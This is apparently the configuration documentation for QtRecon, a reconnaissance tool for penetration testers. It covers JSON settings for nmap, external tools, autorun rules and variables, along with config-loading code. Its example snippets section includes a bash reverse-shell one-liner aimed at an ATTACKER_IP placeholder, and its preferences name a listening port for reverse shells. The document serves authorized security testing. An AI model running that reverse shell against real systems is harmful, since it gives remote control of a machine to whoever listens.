QtRecon uses a JSON configuration file to manage application settings, binary paths, custom tools, and automation rules.
Configuration file location
The configuration file is stored at:
~/.config/qtrecon/conf.json
If the XDG_CONFIG_HOME environment variable is set, QtRecon uses that location instead:
$XDG_CONFIG_HOME/qtrecon/conf.json
If no configuration file exists, QtRecon automatically creates one from the default template conf.json.example.
Configuration structure
The configuration file is organized into several main sections:
core_binaries
Defines paths to essential system binaries:
"core_binaries": {
"nmap": {
"binary": "/usr/bin/nmap",
"args": []
},
"terminal": {
"binary": "/usr/bin/konsole",
"args": ["-e"]
},
"graphical_su": {
"binary": "/usr/bin/kdesu",
"args": []
}
}
Fields:
nmap: Path to the nmap binary and default arguments
terminal: Terminal emulator for detached jobs
graphical_su: Graphical sudo tool for privileged operations
user_binaries
Defines custom tools and scripts you can execute against targets:
"user_binaries": {
"nikto": {
"name": "Nikto",
"binary": "/usr/bin/nikto",
"args": ["-h", "%%%IP%%%", "-p", "%%%PORT%%%"],
"detached": false,
"in_terminal": false,
"edit_before_launch": false,
"working_directory": ""
}
}
Fields:
name: Display name in the UI
binary: Full path to the executable
args: Command-line arguments with variable substitution
detached: If true, runs in external window; if false, captures output in tab
in_terminal: If true, launches in configured terminal emulator
edit_before_launch: If true, prompts to review/edit command before execution
working_directory: Working directory for the process
You can use variables in arguments like %%%IP%%%, %%%PORT%%%, %%%HOSTNAME%%%, and custom user variables. See the Variables page for details.
ports_associations
Maps port numbers to their common service names:
"ports_associations": {
"21": "ftp",
"22": "ssh",
"80": "http",
"443": "https"
}
This helps QtRecon display service names alongside port numbers in the interface.
autorun
Defines automation rules to execute tools automatically when services are discovered:
"autorun": {
"tcp": {
"80": ["nikto", "dirb"],
"443": ["nikto", "sslscan"],
"any": ["nmap-scripts"]
},
"udp": {
"161": ["snmpwalk"]
}
}
Structure:
- Protocol level (
tcp or udp)
- Port number or
any for all ports
- Array of tool names from
user_binaries
Autorun executes automatically when enabled in user preferences. Ensure your tools are properly configured to avoid running unintended commands.
user_prefs
Application behavior preferences:
"user_prefs": {
"enable_autorun": true,
"enable_autorun_on_xml_import": false,
"confirm_before_tab_removal": true,
"dev_null_as_stdin": true,
"remove_nmap_xml_files_after_scan": false,
"delete_logs_on_save": false,
"autosave": false,
"autosave_interval": 300000,
"preferred_interfaces": ["tun0", "eth0"],
"preferred_lport": 9001,
"monospaced_fonts": "Hack, DejaVu Sans Mono, Courier"
}
Fields:
enable_autorun: Enable automatic tool execution on scan completion
enable_autorun_on_xml_import: Run autorun rules when importing XML files
confirm_before_tab_removal: Prompt before closing tabs
dev_null_as_stdin: Redirect stdin to /dev/null for jobs
remove_nmap_xml_files_after_scan: Delete nmap output files after processing
delete_logs_on_save: Remove logs when saving workspace
autosave: Enable automatic workspace saving
autosave_interval: Autosave interval in milliseconds (default: 5 minutes)
preferred_interfaces: Network interfaces for reverse shells
preferred_lport: Default listening port for reverse shells
monospaced_fonts: Font family for terminal output
user_variables
Custom variables for use in tool arguments:
"user_variables": {
"ATTACKER_IP": "10.10.14.5",
"WORDLIST": "/usr/share/wordlists/rockyou.txt",
"OUTPUT_DIR": "/tmp/recon"
}
These can be referenced in user_binaries args using the %%%VARIABLE_NAME%%% syntax.
snippets
Stored code snippets and commands for quick access:
"snippets": {
"reverse_shell": "bash -i >& /dev/tcp/%%%ATTACKER_IP%%%/%%%LPORT%%% 0>&1",
"python_server": "python3 -m http.server 8000"
}
screenshots
Screenshot capture settings:
"screenshots": {
"engine": "qt",
"interval": 15,
"dst_folder": "/home/user/Screenshots/",
"work_folder": "/tmp/",
"pixel_threshold_different_images": 500,
"check_locked_screen": true,
"ignore_if_active_window": true,
"convert_png_to_jpg": true,
"include_processes": true,
"include_ocr": false
}
nmap_options
Default nmap scan configuration:
"nmap_options": {
"ports": "T:-,U:53,161,631",
"type": "-sS",
"speed": "-T3",
"additional_args": "-v --min-rate 500",
"skip_host_discovery": false,
"version_probing": true,
"default_scripts": true,
"os_detection": true,
"tcp_and_udp": true
}
Fields:
ports: Port specification (T: for TCP, U: for UDP)
type: Scan type (-sS, -sT, etc.)
speed: Timing template (-T0 through -T5)
additional_args: Extra nmap arguments
skip_host_discovery: Use -Pn flag
version_probing: Enable -sV flag
default_scripts: Enable -sC flag
os_detection: Enable -O flag
tcp_and_udp: Scan both TCP and UDP
Loading configuration
The configuration is loaded at application startup:
@staticmethod
def load_config(use_default_configuration=False, load_previous_conf_if_current_fails=False):
if (value := os.environ.get("XDG_CONFIG_HOME")) and (path := Path(value)).is_absolute():
root_config_folder = path / "qtrecon"
else:
root_config_folder = Path.home() / ".config/qtrecon"
Config.config_root_path = root_config_folder
try:
with open(f'{root_config_folder}/{configuration_file_to_use}', 'r') as f:
conf = json.load(f)
except FileNotFoundError:
# Falls back to default configuration
Config.load_config(use_default_configuration=True)
Configuration validation
QtRecon validates the configuration structure on load:
@staticmethod
def check_config_structure(structure: dict, config: dict) -> bool:
if isinstance(structure, dict) and isinstance(config, dict):
return all(k in config and Config.check_config_structure(structure[k], config[k])
for k in structure)
If validation fails, the application exits with an error message.
Binary validation
After loading, QtRecon checks that all configured binaries exist and are executable:
@staticmethod
def check_binaries() -> dict:
ret = {'not_found': [], 'not_executable': []}
for binary_type in ['core_binaries', 'user_binaries']:
for binary in Config.config[binary_type]:
if not os.path.isfile(Config.config[binary_type][binary]['binary']):
ret['not_found'].append(Config.config[binary_type][binary]['binary'])
elif not os.access(Config.config[binary_type][binary]['binary'], os.X_OK):
ret['not_executable'].append(Config.config[binary_type][binary]['binary'])
return ret
Missing or non-executable binaries are logged at startup.
Reloading configuration
You can reload the configuration without restarting the application:
def reload_conf(self):
Config.load_config(False, True)
self.view.setup_ui()
self.ui.statusBar().showMessage('Reloaded configuration from disk !', 5000)
This is useful when you edit conf.json manually while QtRecon is running.
Use File → Reload configuration from the menu to apply changes without restarting.